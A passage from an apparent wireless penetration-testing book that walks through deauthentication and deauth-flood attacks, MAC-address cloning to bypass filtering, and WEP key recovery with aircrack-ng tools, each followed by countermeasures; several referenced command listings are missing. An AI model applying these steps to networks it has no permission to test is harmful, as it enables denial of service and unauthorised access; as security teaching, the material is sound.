dictionary-based	WPA-PSK	password	fit	this	category.	Given	a	little	time	and	modest
skill,	an	attacker	can	recover	a	static	WEP	key	or	a	weak	WPA	passphrase.

Once	you	move	past	“challenging”	security	measures,	you	hit	the	third	category	of
defense—“onerous”:	networks	that	require	genuine	effort	and	a	greater	level	of	skill	to
breach.	Many	wireless	networks	don’t	make	it	far	enough	to	fall	into	this	category.
Networks	in	this	category	use	well-configured	WPA	with	strong	client	security	controls.
Techniques	used	to	attack	well-configured	WPA	networks	are	covered	in	detail	in	Chapter
4.

Security	Through	Obscurity
Many	wireless	networks	today	operate	in	hidden	or	non-broadcasting	mode.	These
networks	don’t	include	their	SSID	(network	name)	in	beacon	packets,	and	they	don’t
respond	to	broadcast	probe	requests.	People	who	configure	their	networks	like	this	think
of	their	SSID	as	a	sort	of	secret.	People	who	do	this	might	also	be	prone	to	enabling	MAC
address	filtering	on	the	AP.

An	SSID	is	not	a	secret.	It	is	included	in	plaintext	in	many	packets,	not	just	beacons.
In	fact,	the	reason	the	SSID	is	so	important	is	that	you	need	to	know	it	in	order	to
associate	with	the	AP.	This	means	that	every	legitimate	client	transmits	the	SSID	in	the
clear	whenever	it	attempts	to	connect	to	a	network.

Passive	sniffers	can	easily	take	advantage	of	this	behavior.	If	you	have	ever	seen
Kismet	or	KisMAC	mysteriously	fill	in	the	name	of	a	hidden	network,	it’s	because	a
legitimate	client	sent	one	of	these	frames.	If	you	sniff	on	the	AP’s	channel	long	enough,
you	will	eventually	catch	someone	joining	the	network	and	get	the	SSID.	Of	course,	you
can	do	more	than	just	wait;	you	can	force	a	user’s	hand.

Deauthenticating	Users



The	easiest	way	to	get	the	name	of	a	network	is	to	kick	a	legitimate	user	off	the
network	and	observe	the	user	reconnect	to	the	network.	As	mentioned	previously,
association	request	(and	also	reassociation	request)	packets	all	transmit	the	SSID	in	the
clear.	By	kicking	a	user	off	the	network,	you	can	force	him	to	transmit	a	reassociation
request	and	observe	the	SSID.

This	attack	is	possible	because	management	frames	in	802.11	are	not	authenticated.	If
management	frames	were	authenticated,	the	user	would	be	able	to	differentiate	the
attacker’s	deauthenticate	packet	from	the	APs.	So	all	you	need	to	do	is	send	a	packet	that,
to	the	user,	looks	like	it	came	from	the	AP.	The	user	can’t	tell	the	difference,	and	the
wireless	driver	will	reconnect	immediately.	The	user	will	then	transmit	a	reassociation
request	with	the	SSID	in	it,	and	your	sniffer	will	capture	the	network’s	name.

	

Originally	drafted	as	the	IEEE	802.11w	amendment,	the	IEEE	802.11-2012	accumulated
maintenance	release	of	the	specification	includes	support	for	cryptographic	hashes	in
deauthenticate	and	disassociate	frames.	Sometimes	referred	to	as	Management	Frame
Protection	(MFP),	this	enhancement	makes	it	possible	to	stop	common	deauthenticate
attacks,	but	does	little	to	stop	the	many	other	denial	of	service	(DoS)	attacks	possible
against	Wi-Fi	deployments.	To	date,	few	organizations	have	adopted	the	MFP	security
control	measure.

Why	Are	There	So	Many	Wireless	Command	Lines	in
Linux?
Anybody	who	has	used	Linux	for	a	while	has	probably	gotten	frustrated	at	the	varying
commands	needed	to	control	a	wireless	card.	People	who	used	the	legacy	MadWifi	are
accustomed	to	using	the	wlanconfig	command.	Most	older	and	current	drivers	use	the
iwconfig	command.	Cutting-edge	users	may	have	already	familiarized	themselves	with
the	latest	Linux	wireless	utility,	iw.

While	the	iwconfig	command	will	likely	continue	to	work	for	some	time,	all	new
wireless	driver	features	are	going	to	be	accessible	via	the	iw	command.	You	may	need
to	manually	install	the	iw	command	on	your	distribution	(apt-get	install	iw).
Although	all	of	these	commands	accomplish	the	same	thing,	they	go	through	different
APIs	to	accomplish	it.	The	“older”	iw	commands	(iwconfig,	iwlist,	iwpriv)	all	use
the	wireless	extension’s	API.	The	new	iw	command	utilizes	the	netlink/cfg80211	API,
which	will	hopefully	be	the	last	Linux	wireless	standard	for	a	while.



Because	of	the	multitude	of	configuration	utilities,	forgetting	exactly	what	to	type	to
communicate	with	each	driver	is	easy.	Users	frustrated	with	remembering	all	of	the
details	are	encouraged	to	utilize	airmon-ng.	Airmon-ng	is	a	utility	included	in	the
Aircrack-ng	suite	that	is	designed	to	handle	all	of	the	monitor	mode	details	for	a	given
driver/kernel.

Users	who	want	to	configure	interfaces	manually,	or	who	need	a	quick	reference	for
common	command-line	examples,	can	use	the	commands	provided	here:

•		Perform	an	active	scan:
#	iwlist	wlan0	scan

#	iw	dev	wlan0	scan

•		Enable	monitor	mode	on	an	existing	interface:
#	iwconfig	wlan0	mode	monitor

#	iw	dev	wlan0	set	monitor	none

•		Manually	set	the	channel:
#	iwconfig	wlan0	channel	1

#	iw	dev	wlan0	set	channel	1

•		Manually	enable	802.11n	40-MHz	mode:
#	iw	dev	wlan0	set	channel	6	HT40+	or

#	iw	dev	wlan0	set	channel	6	HT40–

The	+/–	designate	if	the	adjacent	20-MHz	channel	is	above	or	below	the
specified	one.

•		Create	a	monitor	mode	interface	(mac80211	only):
#	iw	dev	wlan0	interface	add	mon0	type	monitor

•		Destroy	a	virtual	interface	(mac80211	only):
#	iw	dev	mon0	del

Mounting	a	Deauthentication	Attack	on	Linux
The	following	example	shows	how	to	perform	a	simple	deauthenticate	attack	on	Linux
using	the	aireplay-ng	utility	included	with	the	Aircrack-ng	suite.	The	victim	station	has	the
MAC	address	00:23:6C:98:7C:7C,	and	it	is	currently	associated	with	the	network	on
channel	1	with	the	BSSID	10:FE:ED:40:95:B5.

In	the	following	example,	we	have	detected	a	hidden	network	on	channel	1	by	utilizing
Kismet.	We	have	instructed	Kismet	to	lock	onto	channel	1	(Kismet	|	Config	Channel)	and
are	ready	to	deauthenticate	the	client	we’ve	detected.	Because	Kismet	created	a	monitor
mode	interface	for	us,	we	can	utilize	the	same	interface	for	the	deauthenticate	attack.



The	command-line	arguments	can	be	a	little	confusing.	The	--deauth	in	this	example
instructs	aireplay-ng	to	perform	a	deauthentication	attack.	The	destination	address	is
specified	with	-c	and	the	BSSID	with	-a.

The	argument	to	--deauth	is	a	count	for	the	number	of	times	to	perform	the	attack;	each
attack	consists	of	64	packets	from	the	AP	to	the	client,	and	64	packets	from	the	client	to
the	AP.

By	performing	this	attack,	we	will	transmit	128	deauthentication	packets	(64	in	both
directions),	deauthenticating	the	client	from	the	AP,	as	well	as	the	AP	from	the	client.	The
net	result	is	the	client	will	see	a	hiccup	in	her	network	connectivity	and	then	reassociate.
When	she	does,	Kismet	will	see	the	SSID	in	the	probe	request	and	association	request
packet	and	can	fill	in	the	name.	In	this	case,	the	network’s	name	is	linksys.	After	this,	the
user	will	reassociate,	and	if	the	network	is	using	WPA,	we	will	watch	the	client	perform
the	four-way	handshake.

	

To	sustain	a	deauthenticate	flood	DoS	attack,	simply	change	the	deauth	count	from	1	to	0;
aireplay-ng	will	then	continue	sending	deauthenticate	frames	until	interrupted	by	the
attacker.	Optionally,	omit	the	-c	client	MAC	address	designation	to	deauthenticate	all
clients	with	a	broadcast	destination	address.

Mounting	a	Deauthentication	Attack	on	OS	X



Currently,	the	only	way	to	inject	packets	on	OS	X	is	to	use	KisMAC.	KisMAC	currently
supports	injection	on	cards	that	use	a	Prism2,	RT73,	RT2570,	or	a	RTL8187	chipset,	but
does	not	support	using	the	built-in	AirPort	adapter.	Many	Mac	users	buy	a	used	D-Link
DWL-G122	or	Alfa	AWUS036H	for	this	reason.	A	list	of	KisMAC-supported	wireless
cards	is	available	at	http://trac.kismac-ng.org/wiki/HardwareList.

With	a	wireless	card	that	supports	injection	and	the	correct	drivers	loaded	in	KisMAC,
simply	click	Network	|	Deauthenticate	to	start	an	attack.	KisMAC	will	continue	to
transmit	deauth	packets	to	the	broadcast	address	until	it	is	told	to	stop.	If	KisMAC	does
not	present	the	Deauthenticate	menu	option,	double-check	that	your	driver	supports
injection,	and	ensure	Use	As	Primary	Device	is	selected	in	the	KisMAC	preferences
window	for	the	adapter.

Mounting	a	Deauthentication	Attack	on	Windows
The	easiest	way	to	launch	a	deauth	attack	from	a	Windows	box	is	to	utilize	CommView
for	WiFi.	Available	at	http://www.tamos.com/products/commwifi,	CommView	is	a
commercial	tool	for	Windows	users,	priced	at	$499	for	an	unlimited	license	or	$199	for	a
one-year	license.

Similar	to	other	tools,	CommView	for	WiFi	requires	a	supported	wireless	adapter	for
packet	injection	attacks	(a	list	of	CommView-supported	adapters	is	available	at
http://www.tamos.com/products/commwifi/adapterlist.php).	With	a	supported	wireless
adapter,	simply	click	Tools	|	Node	Reassociation.	You	will	see	a	screen	similar	to	the	one
shown	here,	where	you	can	choose	the	AP	to	impersonate	for	deauthenticate	frames.	By
default,	CommView	will	send	a	directed	deauthenticate	frame	to	all	of	the	selected	clients.
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When	deauthenticating	users,	aireplay-ng	is	more	aggressive	than	CommView,	which	is
more	aggressive	than	KisMAC.	Aireplay-ng	sends	directed	deauthenticate	frames	to	both
the	AP	and	client.	CommView	sends	them	just	to	the	clients,	and	KisMAC	sends
broadcast	deauthenticate	frames.	(Cain	&	Abel	also	has	wireless	attack	capabilities.
However,	these	features	are	only	supported	when	using	the	commercial	AirPcap	adapter.)

	Countermeasures	for	Deauthenticating	Users
The	IEEE	802.11w	amendment	(subsequently	integrated	into	the	IEEE	802.11-2012
update)	includes	support	for	the	protection	of	both	deauthenticate	and	disassociation
frames	using	a	message	integrity	check	to	identify	spoofed	frames.	Available	only	when
WPA2	security	is	used,	support	for	this	feature	is	mandatory	for	all	Windows	8	clients
implementing	NDIS	6.30–compliant	drivers	and	later.

Although	many	Windows	8	and	8.1	clients	support	this	feature,	many	APs	do	not.
Check	with	your	AP	manufacturer	for	a	firmware	upgrade	to	enable	management	frame
protection	to	defeat	deauthenticate	and	disassociation	attacks.

At	the	time	of	this	writing,	no	mobile	devices	(Android,	iOS,	Windows	Phone,	or
BlackBerry)	or	Mac	OS	X	devices	support	the	security	offered	by	management	frame
protection.

Defeating	MAC	Filtering

Most	APs	allow	you	to	set	up	a	list	of	trusted	MAC	addresses.	Any	packets	sent	from
other	MACs	are	then	ignored.	At	one	time,	MAC	addresses	were	very	static	things,	burned
into	hardware	chips	and	immutable.	The	days	of	immutable	MAC	addresses	are	long
gone,	however,	and	a	policy	to	filter	MAC	addresses	on	a	wireless	network	offers	very
little	added	security.

In	order	to	beat	MAC	filtering,	you	simply	steal	a	MAC	address	from	someone	else
already	on	the	network.	To	do	this,	you	need	to	run	a	passive	scanner	so	it	can	give	you
the	address	of	an	already	connected	client.	The	most	elegant	scenario	is	that	you	wait	for	a
user	to	disconnect	from	the	network	gracefully.	Other	options	include	mounting	a	DoS
attack	against	the	user	(such	as	a	deauthenticate	attack)	or	attempting	to	share	the	MAC
address.	Once	you	have	chosen	a	MAC	address	to	use,	cloning	it	takes	only	a	few
commands.



Beating	MAC	Filtering	on	Linux
Most	wireless	(and	for	that	matter	wired)	network	interfaces	allow	you	to	change	the
MAC	address	dynamically.	The	MAC	address	is	just	a	parameter	you	can	pass	to
ifconfig.	For	example,	to	set	your	MAC	address	to	00:11:22:33:44:55	on	Linux,	do	the
following:

Beating	MAC	Filtering	on	Windows
To	change	the	MAC	for	your	wireless	card	in	Windows,	you	can	use	regedit	manually.
Open	regedit	and	navigate	to	HKLM\SYSTEM\CurrentControlSet\Control\Class\
{4D36E972-E325-11CE-BFC1-08002bE10318}.	Once	there,	start	looking	through	the
entries	for	your	wireless	card.	The	key	includes	a	description	of	your	card,	so	finding	it
shouldn’t	be	too	difficult.	Once	you	have	found	your	card,	create	a	new	key	named
NetworkAddress	of	type	REG_SZ.	Insert	your	desired	12-digit	MAC	address.

	

Recent	versions	of	Windows	require	that	the	second	nibble	of	the	first	byte	be	either	2,	6,
A,	or	E.	Your	new	MAC	address	should	be	of	the	form	XY-XX-XX-XX-XX-XX,	where	X
can	be	any	hex	value	and	Y	is	either	2,	6,	A,	or	E.

The	following	illustration	shows	the	new	MAC	address	set	to	02:BA:DC:0D:ED:01.



	

Some	drivers	expose	this	registry	key	through	the	Configure	|	Advanced	|	Network
Address	Interface	for	the	adapter.

For	this	change	to	take	place,	you	need	to	disable	and	re-enable	your	card.	In	some
cases,	a	reboot	may	also	be	required.	If	you	want	to	revert	to	your	original	MAC	address,
delete	the	NetworkAddress	key.

	

When	changing	your	address	in	Windows,	be	sure	to	check	that	your	driver	honors	the
setting	by	running	ipconfig	/all	from	the	command	line.

If	you	find	using	regedit	too	cumbersome	and	intimidating,	a	handful	of	standalone
utilities	are	available	to	assist	you.	Two	common	ones	are	Technitium	MAC	Address
Changer	(Tmac,	http://www.technitium.com/tmac)	and	MacMakeup
(http://www.gorlani.com/portal/projects/macmakeup-for-vista-seven-2008-windows-8).
These	programs	provide	a	convenient	GUI,	but	they	don’t	do	anything	other	than	change
the	NetworkAddress	registry	key.

Beating	MAC	Filtering	on	OS	X
In	OS	X	10.5,	Apple	started	allowing	users	to	change	their	MAC	address	in	a	manner
similar	to	Linux.	For	this	to	work	smoothly,	you	need	to	be	disassociated	from	any
networks	before	changing	your	MAC	address.	We	use	the	airport	-z	command	to
accomplish	this	here:

After	the	ifconfig	command	completes,	you	can	use	the	normal	AirPort	GUI	to	join	a
network.

	MAC	Filter	Avoidance	Countermeasures

http://www.technitium.com/tmac
http://www.gorlani.com/portal/


If	you	are	using	MAC	filtering,	you	can’t	do	anything	to	stop	people	from	bypassing	it.
The	best	thing	is	simply	not	to	use	it—or	at	least	don’t	think	of	it	as	a	security	control.	The
one	marginal	benefit	to	MAC	filtering	is	it	may	prevent	an	attacker	from	injecting	traffic
when	no	clients	are	around,	but	you	shouldn’t	be	using	WEP	anyway.	MAC	filtering	is
generally	more	hassle	than	it’s	worth.	If	you	have	a	wireless	IDS	and	use	MAC	filtering,
your	IDS	should	be	able	to	detect	two	people	sharing	a	MAC	at	the	same	time.	It	won’t	be
able	to	detect	an	attacker	simply	waiting	for	a	user	to	disconnect,	however.

Defeating	WEP
As	a	security	control,	WEP	is	an	excellent	learning	opportunity	for	what	not	to	do	in	an
encryption	system.	Still,	we	see	WEP	networks	in	regular	use	in	SOHO	(small
office/home	office),	and	this	book	would	be	incomplete	without	covering	WEP	attacks.
Instead	of	devoting	a	lot	of	pages	to	WEP	attacks	(pages	that	could	otherwise	be	used	to
cover	newer	and	exciting	wireless	attacks),	we	decided	to	provide	only	a	minimum
number	of	pages	to	WEP	attacks,	covering	what	you	need	to	know	to	understand	the
technology	and	practical	steps	to	exploit	its	weaknesses.

WEP	keys	come	in	two	sizes:	40-bit	(5	byte)	and	104-bit	(13	byte).	Initially,	vendors
supported	only	40-bit	keys.	Vendors	refer	to	these	keys	as	64-bit	and	128-bit	keys,	arriving
at	these	numbers	because	WEP	uses	a	24-bit	initialization	vector	(IV),	which	is	prepended
to	the	shared	key.	Because	the	IVs	are	sent	in	the	clear,	however,	the	key	length	is
effectively	40	or	104	bits.

WEP	Key	Recovery	Attacks
Multiple	opportunities	exist	for	an	attacker	to	eavesdrop	on	the	network	and	recover	the
network	encryption	key.	When	an	attacker	recovers	a	WEP	key,	he	has	complete	access	to
the	network.	He	can	read	everybody’s	traffic,	as	well	as	send	his	own	packets.	So	many
unique	paths	lead	to	WEP	key	recovery	that	we’ve	provided	a	flowchart	in	Figure	3-1,
depicting	the	path	of	least	resistance	to	recovering	WEP	keys.





Figure	3-1	WEP	cracking	flowchart

FiOS	SSID	WEP	Key	Recovery

As	you	can	see	in	Figure	3-1,	the	easiest	way	to	crack	a	WEP	key	is	with	FiOS	routers.
FiOS	is	Verizon’s	fiber-to-the-home	Internet	service.	Although	new	FiOS	deployments
ship	with	WPA	enabled,	many	older	devices	are	used	with	the	vulnerable	WEP	keying
algorithm	described	next.

If	you	happen	to	live	in	an	area	with	Verizon	FiOS	service,	you	probably	have	seen
many	APs	with	names	that	follow	this	pattern:	C7WA0,	3RA18,	or	BJ2Z0	(five
alphanumeric	characters,	all	uppercase).	As	you	might	have	guessed,	the	SSIDs	are
derived	from	the	BSSID	by	using	a	simple	function,	which	so	far	is	not	a	problem.	The
problem	is	that	the	default	WEP	keys	are	also	a	function	of	the	BSSID.	Therefore,	if	you
have	the	SSID	(which	the	AP	broadcasts)	and	the	BSSID	(which	the	AP	also	broadcasts),
then	you	have	everything	you	need	to	compute	the	WEP	key	(no	brute-force	or	crypto
required)!

The	first	person	to	document	this	was	Kyle	Anderson,	who	provided	a	simple	Bash
script	to	generate	the	WEP	keys	(see	http://wiki.xkyle.com/Fioscalc.html):

The	Bash	script	has	narrowed	the	key	down	to	two	possibilities.	All	we	need	to	do
now	is	try	them	both	out	and	see	which	one	works.	Be	sure	to	try	this	attack	against	SSIDs
that	consist	of	five	uppercase	alphanumeric	values,	such	as	2C6W1	or	3A65B.

	

A	JavaScript	implementation	of	this	attack	is	available	at	http://fwc.dylanmtaylor.com.

	Defending	Against	Verizon	FiOS	WEP	Recovery
Techniques
If	you	have	FiOS	service	and	you	haven’t	reconfigured	your	wireless	security,	you	are

http://wiki.xkyle.com/Fioscalc.html
http://fwc.dylanmtaylor.com


probably	vulnerable	to	this	attack.	Log	in	to	the	management	interface	and	switch	over	to
WPA/WPA2	and	choose	a	strong	passphrase.	Note	that	this	change	may	create	a	reduction
in	network	performance	due	to	the	added	overhead	in	WPA/WPA2	encryption	for	FiOS
Wi-Fi	routers.

Cryptographic	Attacks	Against	WEP	(FMS,	PTW)

Whereas	the	previous	attack	against	WEP	was	based	on	a	faulty	key-generation
mechanism,	the	attacks	covered	in	this	section	are	present	even	if	the	WEP	key	is
completely	random.	These	attacks	are	based	on	a	long	line	of	cryptographic	research	that
goes	back	to	2001.

In	2001,	Fluhrer,	Mantin,	and	Shamir	(FMS)	released	a	paper	describing	vulnerability
in	the	key	scheduling	algorithm	in	RC4.	RC4	(Ron’s	Code	version	4)	is	the	stream	cipher
used	by	WEP.	As	it	turns	out,	WEP	uses	RC4	in	a	manner	that	makes	it	a	perfect	target	for
this	vulnerability.

The	problem	is	how	WEP	uses	the	IVs	in	each	packet.	When	WEP	uses	RC4	to
encrypt	a	packet,	it	prepends	the	IV	to	the	secret	key	before	feeding	the	key	into	RC4.
This	means	the	attacker	has	the	first	three	bytes	of	an	allegedly	“secret”	key	used	on	every
packet.	A	few	equations	later	and	she	now	has	a	better-than-random	chance	at	guessing	the
rest	of	the	key	based	on	the	RC4	output.	Once	she’s	accomplished	this,	it	is	just	a	matter
of	collecting	enough	data	and	the	key	falls	out	of	thin	air.

In	2005,	Andreas	Klein	presented	another	problem	with	RC4.	Three	researchers	from
Darmstadt	University	(Pyshkin,	Tews,	and	Weinmann,	or	PTW)	applied	this	research	to
WEP,	which	resulted	in	aircrack-ptw.	Shortly	afterward,	their	enhancements	were	merged
into	the	main	aircrack-ng	tree,	quickly	becoming	the	default.

The	PTW	attack	addresses	the	main	drawbacks	of	the	FMS	attack.	The	PTW	attack
does	not	depend	on	any	weak	IVs	and	needs	significantly	fewer	unique	packets	to	recover
the	key.	When	running	the	PTW	attack,	key	recovery	is	basically	unbound	from	the	CPU.
With	the	FMS	attack,	you	could	always	try	to	brute-force	more	keys	instead	of	gathering
more	IVs.	With	PTW,	only	a	few	seconds	of	CPU	time	is	required	to	recover	the	key,
rendering	computational	power	meaningless.

Break	WEP	with	aircrack-ng	with	a	Victim	Client



Aircrack-ng	can	be	used	on	Linux,	OS	X,	and	Windows;	however,	the	platform	of
choice	is	Linux.	Injecting	packets	on	Linux	is	easier	than	on	any	other	OS,	and	injecting
packets	significantly	speeds	up	the	attack.

The	following	example	walks	you	through	the	entire	sequence	used	to	crack	WEP	with
at	least	one	victim	client	attached.	For	this	example,	let’s	assume	you	have	a	network
named	linksys	on	channel	1	with	BSSID	10:FE:ED:40:95:B5.	First,	let’s	enable	monitor
mode:

Next,	let’s	start	airodump-ng,	specifying	the	channel	and	BSSID	we	are	interested	in:

At	this	point,	airodump-ng	is	saving	all	the	packets	it	captures	to	the	file	Linksysch1-
01.pcap.

In	this	example,	you	see	there	is	currently	one	client	associated
(02:BA:DC:0D:ED:01).	Let’s	utilize	that	MAC	address	and	reinject	ARP	packets	from	the
client.	Our	goal	is	to	create	more	packets	so	we	can	crack	the	key	faster:

At	this	point,	aireplay-ng	is	successfully	injecting	ARP	packets	back	into	the	network,
which	causes	the	client	it	was	destined	for	to	respond	and,	therefore,	generate	traffic.	If	we
switch	back	to	airodump-ng,	we’ll	see	the	number	of	data	packets	increasing	rapidly:



With	our	packet	count	steadily	rising,	we	can	now	start	aircrack-ng:
$	aircrack-ng	-b	10:fe:ed:40:95:b5	Linksysch1-01.cap

Initially,	we	are	greeted	with	a	screen	that	shows	the	weights	assigned	to	each	key
byte,	as	well	as	the	number	of	IVs	and	so	on.	If	aircrack-ng	fails	to	derive	the	key	initially,
it	will	wait	for	some	more	data	to	be	written	to	the	disk	and	then	try	again.	A	successful
session	is	shown	here.

Break	WEP	with	aircrack-ng	Without	a	Victim	Client
The	previous	example	walked	you	through	a	fairly	simple	case	in	which	one	or	more
victim	clients	are	attached	to	the	network	you	are	targeting.	It	relied	on	a	victim	eventually
sending	an	ARP	packet,	which	we	could	then	replay	to	generate	traffic	and	crack	the	key.
The	following	example	walks	you	through	a	more	complex	case	for	attacks	when	there	are
no	clients	attached	to	the	network.	The	entire	process	is	shown	in	Figure	3-2.





Figure	3-2	Cracking	a	quiet	WEP	network

Step	1:	Start	airodump-ng	For	this	example,	the	target	network	is	on	channel	11	with	the
SSID	quiet_type,	and	has	no	victim	clients	attached.	First,	start	airodump-ng	to	capture
the	network	activity	during	the	attack:

Step	2:	Fake-auth	the	AP	Next,	use	aireplay-ng	to	fake	an	association	with	an	AP.	This	is
similar	to	the	connection	process	of	a	legitimate	client;	you	are	just	utilizing	aireplay-ng	to
accomplish	it	without	knowledge	of	the	WEP	key.

Use	the	MAC	address	of	the	wireless	card	and	pass	it	as	the	source	(-h)	to	aireplay-ng:

The	first	argument	tells	aireplay-ng	to	perform	the	fake-auth	with	a	one-second	delay	for
authentication.	The	-o	1	argument	instructs	aireplay-ng	to	send	only	one	set	of	packets	at
a	time	during	the	attack	to	reduce	the	impact	on	the	AP.	Next,	-e	sets	the	SSID,	-b	sets	the
BSSID,	and	-h	sets	the	source	MAC	(this	should	be	the	MAC	currently	assigned	to	your
wireless	interface).

If	everything	goes	well,	you	should	get	something	similar	to	the	following:

If	you	see	a	message	that	says	“Got	a	deauthentication	packet!”	then	the	fake
association	has	failed.	The	most	likely	cause	is	that	the	AP	implements	MAC	filtering.
You	will	need	to	wait	until	a	legitimate	device	connects	to	the	network	and	use	its	MAC
address	for	the	attack.

Switching	back	to	airomon-ng,	you	will	see	the	fake	client	listed	in	the	clients	list.
Next	you	can	mount	a	fragmentation	attack.

	

While	performing	the	following	fragmentation	attack	(and	the	subsequent	ChopChop
attack),	leave	this	fake-auth	running	in	the	background.	That	way,	if	one	of	the	advanced



attacks	causes	the	AP	to	deauth	us,	we	will	automatically	re-authenticate	after	a	one-
second	delay.

Step	3:	Launch	the	Fragmentation	Attack	The	fragmentation	attack	is	an	advanced
WEP	cracking	technique	that	can	be	used	to	decrypt	a	single	packet	at	a	time	using	the	AP
as	a	decryption	tool.	You	use	similar	arguments	to	the	previous	aireplay-ng	fake-auth
attack,	except	this	time	you	specify	the	fragmentation	attack:

If	you	see	this	message	about	saving	the	keystream	(the	product	of	XOR’ing	the
plaintext	and	the	ciphertext	of	a	packet),	the	fragmentation	attack	worked	and	you	can	skip
ahead	to	step	5.	If	you	can’t	get	the	fragmentation	attack	to	work,	try	the	ChopChop
attack.

Step	4:	Launch	the	ChopChop	Attack	An	alternative	to	the	fragmentation	attack	is	the
ChopChop	attack.	ChopChop	takes	a	little	longer	to	complete	than	the	fragmentation
attack	(at	most	a	few	minutes).	Details	on	how	it	works	are	covered	later	in	this	section.
For	now,	you	can	just	run	it	as	follows.

	



You	can	speed	up	the	ChopChop	attack	by	only	using	smaller	packets.	Any	packet	larger
than	68	bytes	should	be	sufficient	for	later	use	in	an	ARP	injection	attack.

	

The	larger	the	packet,	the	longer	the	ChopChop	attack	will	take	to	finish.	If	your	packet	is
larger	than	300	bytes,	you	may	want	to	consider	skipping	it	and	waiting	for	a	smaller	one.

This	attack	takes	a	few	minutes.	If	you	see	any	messages	about	deauthentication
packets,	make	sure	the	fake-auth	attack	initiated	earlier	is	still	running.

Once	the	attack	is	complete,	you’ll	have	a	copy	of	the	decrypted	packet	in	the	.cap	file
and	a	copy	of	the	keystream	in	the	.xor	file.	It	is	a	good	idea	to	sanity	check	the	output
from	this	attack	by	looking	at	the	.cap	file;	it	should	contain	some	sort	of	valid-looking	IP
packet.	For	example,	the	packet	just	decrypted	decodes	to	a	Simple	Service	Discovery
Protocol	(SSDP)	packet	on	the	192.168.0.x	subnet:

Any	time	that	the	packet	decodes	successfully	all	the	way	to	the	application	layer	is	a
good	sign.

Step	5:	Craft	the	ARP	Packet	Having	performed	a	successful	fragmentation	or



ChopChop	attack,	you	can	now	use	the	recovered	keystream	to	inject	your	own	packet.
But	what	should	you	inject?	You	need	something	that	the	AP	will	retransmit	toward	the
broadcast	address.	From	the	single	packet	decrypted	using	the	ChopChop	attack,	you
know	the	network	has	a	192.168.0.x	subnet.	Skipping	over	the	802.11	header	and
encryption,	if	the	following	ARP	who-has	packet	was	generated	on	the	network,	then	the
AP	would	rebroadcast	it	out	to	everyone	(and	utilize	a	new	initialization	vector	in	the
process):
ARP,	Request	who-has	192.168.0.122	tell	192.168.0.123

Note	that	we	didn’t	actually	craft	an	ARP	packet	that	the	AP	has	to	respond	to	(i.e.,
192.168.0.1).	We	just	need	one	that	the	AP	will	retransmit.	Testing	has	shown	that	crafting
packets	to	the	AP	makes	it	more	likely	to	deauth	us,	so	we	don’t	tempt	fate.

The	Aircrack-ng	suite	comes	with	a	tool,	called	packetforge-ng,	that	helps	to	craft	this
packet.	First,	you	pass	packetforge	the	--arp	parameter	so	it	knows	what	type	of	packet
you	want	to	craft.	Next,	you	specify	the	layer	2	options	(BSSID,	destination,	and	source
MAC	addresses)	with	the	-a	and	-h	flags	as	usual.	Next,	you	build	the	ARP	layer	by
specifying	the	destination	IP	with	-k	and	the	source	IP	with	-l	(that’s	a	lowercase	L,	not	a
one).	Finally,	you	encrypt	the	new	packet	with	the	keystream	generated	from	the
ChopChop	attack	using	-y,	as	shown:

	

If	you	are	feeling	creative,	you	can	generate	traffic	utilizing	other	protocols	with
packetforge-ng.	A	broadcast	ICMP	echo	request	can	also	generate	positive	results.

With	your	crafted	ARP	packet	that	is	correctly	encrypted	for	the	network,	you	can
inject	it	into	the	network	and	see	if	the	total	number	of	data	packets	on	airodump-ng
increases.

Step	6:	Inject	the	Crafted	ARP	Packet	With	the	hard	part	out	of	the	way,	it’s	time	to
replay	the	encrypted	ARP	request	crafted	previously.	A	sample	command	line	is	shown
here:

After	running	aireplay-ng,	switch	over	to	the	terminal	running	airodump-ng.	If	you
don’t	see	the	#Data	count	going	up,	then	an	error	occurred	somewhere.	The	most	likely
problems	are	a	typo	in	the	MAC	address	in	one	of	the	commands,	or	you	need	to	re-run
the	aireplay-ng	fake-auth	attack.	Assuming	you	see	the	#Data	increasing,	go	ahead	and
start	aircrack-ng	on	the	.pcap	file	airodump-ng	is	generating.

Step	7:	Start	aircrack-ng	After	a	few	minutes	of	capturing	network	traffic,	start	aircrack-



ng	on	the	capture	files.	Here,	we	have	used	a	wildcard	to	read	from	all	the	airodump-ng
packet	capture	files	matching	the	filename	prefix	quiet_type	in	the	current	directory:
$	aircrack-ng	./quiet_type-*.cap

The	aircrack-ng	command	will	successfully	return	the	key,	or	it	will	wait	until	more
packets	are	received	and	try	to	recover	the	key	again.	You	can	leave	this	command
running	until	the	key	is	recovered	and	then	return	to	the	other	terminal	sessions	and	stop
the	aireplay-ng	commands.

Attacking	WEP	on	OS	X
To	crack	WEP	on	OS	X,	you	want	to	use	capabilities	found	in	KisMAC	and	aircrack-ng.
KisMAC	can	reinject	packets	to	generate	traffic,	but	it	lacks	the	advanced	cryptographic
PTW	attack	implemented	in	aircrack-ng.	This	means	you	will	need	to	configure	KisMAC
to	capture	all	traffic	to	a	pcap	file	(Kismac	|	Preferences	|	Driver	|	Keep	Everything)	and
then	pass	the	pcap	file	into	aircrack-ng.	In	the	following	example,	we	are	saving	all	the
packets	to	/Dumplogs/curr.pcap.

The	easiest	way	to	run	aircrack-ng	on	OS	X	is	to	utilize	the	Brew	package
management	system.	Instructions	for	installing	and	configuring	Brew	can	be	found	at
http://brew.sh.	Assuming	you	have	Brew	installed,	installing	aircrack-ng	is	simple:
$	sudo	brew	install	aircrack-ng

Once	you	have	aircrack-ng	installed,	start	scanning	in	KisMAC.	When	you	identify	a
victim	network,	click	Network	|	Re-inject	Packets.	Once	KisMAC	sees	an	ARP	packet	it
can	replay,	you	should	see	something	similar	to	what’s	shown	next.

Keep	an	eye	on	the	data	packet	count.	If	the	injection	is	working,	the	number	should
rise	quickly.	Then	you	fire	up	aircrack-ng	from	the	command	line:
$	aircrack-ng	./curr.pcap

PTW	Attack	Against	WEP	on	Windows

http://brew.sh


The	popular	Windows	cracking	tool	Cain	&	Abel	recently	added	support	for	the	PTW
attack,	as	well	as	the	ability	to	replay	ARP	packets	(provided	you	are	using	an	AirPcap
device	with	injection	support).	This	device	allows	you	to	crack	WEP	with	speeds	similar
to	aircrack-ng	without	using	any	command-line	tools.	The	only	downsides	are	that	you
need	the	commercial	AirPcap	adapter	(http://www.airpcap.nl/airpcap.htm),	and	the
advanced	ChopChop	and	fragmentation	attacks	are	not	implemented.

With	an	AirPcap	adapter	installed	and	working,	start	Cain	and	click	the	Wireless	tab.
Next,	select	your	AirPcap	adapter	from	the	drop-down	box	and	click	the	Passive	Scan
button.	Once	the	target	is	listed,	click	Stop	and	then	lock	on	the	appropriate	channel.	Be
